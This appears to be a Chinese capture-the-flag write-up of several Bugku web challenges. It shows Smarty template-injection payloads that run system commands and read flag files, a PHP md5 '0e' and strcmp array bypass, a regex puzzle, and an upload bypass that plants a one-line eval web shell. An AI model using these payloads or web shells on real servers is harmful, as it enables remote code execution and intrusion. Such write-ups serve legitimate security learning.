题目源:bugku web
聪明的PHP
得题


检测是不是模板漏洞

从执行情况可以看出是模板漏洞。
常用payload {if phpinfo()}{/if} {if system('ls')}{/if} {if readfile('/flag')}{/if} {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if} smarty中的{if}标签中可以执行php语句
|
引入上面的知识,构造本题的Payload
passthru — 执行外部程序并且显示原始输出 passthru(string $command, int &$result_code = null): ?false
command 要执行的命令。 result_code 如果提供 result_code 参数, Unix 命令的返回状态会被记录到此参数。
实践: http:
total 8 drwxrwxrwx 1 root root 120 Mar 2 2021 . drwxr-xr-x 1 root root 18 Oct 8 2019 .. drwxrwxrwx 1 root root 6 Mar 2 2021 cache drwxrwxrwx 1 root root 6 Mar 2 2021 configs -rwxrwxrwx 1 root root 629 Mar 2 2021 index.php drwxrwxrwx 1 root root 128 Mar 2 2021 libs -rwxrwxrwx 1 root root 22 Mar 2 2021 template.html drwxrwxrwx 1 root root 23 Mar 2 2021 templates drwxrwxrwx 1 root root 6 Mar 2 2021 templates_c ---------------------------
http:
_15775 bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var php
------------------------------- 找到_15775,查看下文件内容 http:
flag{3c6611714341762ef90c8b99323d4786}
|

解题
PHP的smarty模板漏洞
引用
字符?正则?
解题
题目提供了PHP代码:
<?php highlight_file('2.php'); $key='flag{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>
key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]], 写一个与之匹配的正则表达式 keykeyeeeekey:/a/akeya_
提交上去 http: 得到flag key is: flag{fdadd36b1a5b5c952a63c8ffa2c3acaa}
|
总结
基础正则表达式
前女友
解题



得到PHP代码,其他文字信息省略了。
<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>
?v1=s878926199a&v2=s155964671a&v3[]=1 得到flag
flag{a26aaff94aa33cfc4b5473ba2345b18b}
|


总结
md5的0e开头的md5值默认哈希值为0,两md5值相等
strcmp数组绕过
文件上传
解题


得到题目的思考方向是文件上传木马,菜刀一线连。
使用一句话木马,放在一个名为x.jpg的文件当中。 <?php @eval($_POST['hack']);?>
|

这两处修改是关键,有两个途径可以得出来:
1.文件后台的源代码
2.一点点的在抓包区域尝试
不过尝试的结果是:文件上传的地址是没有任意文件解析的,比如上传个后缀是jpg的后门,实际上仅仅作为jpg文件展示,不会解析其中包含的后门程序。
必然的结果就是必须改为php4,而且那处Content-Type也必须修改


打开文件后得到flag
flag{958a6689c83c55f910022bdc8cc2e49c}
|

总结
后门文件上传,文件上传绕过。